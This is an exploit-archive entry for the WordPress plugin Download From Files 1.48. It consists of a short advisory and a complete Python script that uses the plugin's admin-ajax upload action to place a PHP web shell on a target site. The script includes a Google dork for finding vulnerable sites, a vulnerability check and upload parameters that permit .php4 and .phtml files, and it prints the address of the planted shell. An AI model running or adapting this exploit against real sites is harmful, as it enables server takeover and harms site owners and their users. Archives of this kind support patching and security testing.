WordPress Download From Files plugin version 1.48 suffers from a remote shell upload vulnerability.
a6b690ce567b2506a7e8bf9edaee5c15# Exploit Title: Wordpress Plugin Download From Files 1.48 - Arbitrary File Upload
# Google Dork: inurl:/wp-content/plugins/download-from-files
# Date: 10/09/2021
# Exploit Author: spacehen
# Vendor Homepage: https://wordpress.org/plugins/download-from-files/
# Version: <= 1.48
# Tested on: Ubuntu 20.04.1 LTS (x86)
import os.path
from os import path
import json
import requests;
import sys
def print_banner():
print("Download From Files <= 1.48 - Arbitrary File Upload")
print("Author -> spacehen (www.github.com/spacehen)")
def print_usage():
print("Usage: python3 exploit.py [target url] [php file]")
print("Ex: python3 exploit.py https://example.com ./shell.(php4/phtml)")
def vuln_check(uri):
response = requests.get(uri)
raw = response.text
if ("Sikeres" in raw):
return True;
else:
return False;
def main():
print_banner()
if(len(sys.argv) != 3):
print_usage();
sys.exit(1);
base = sys.argv[1]
file_path = sys.argv[2]
ajax_action = 'download_from_files_617_fileupload'
admin = '/wp-admin/admin-ajax.php';
uri = base + admin + '?action=' + ajax_action ;
check = vuln_check(uri);
if(check == False):
print("(*) Target not vulnerable!");
sys.exit(1)
if( path.isfile(file_path) == False):
print("(*) Invalid file!")
sys.exit(1)
files = {'files[]' : open(file_path)}
data = {
"allowExt" : "php4,phtml",
"filesName" : "files",
"maxSize" : "1000",
"uploadDir" : "."
}
print("Uploading Shell...");
response = requests.post(uri, files=files, data=data )
file_name = path.basename(file_path)
if("ok" in response.text):
print("Shell Uploaded!")
if(base[-1] != '/'):
base += '/'
print(base + "wp-admin/" + file_name);
else:
print("Shell Upload Failed")
sys.exit(1)
main();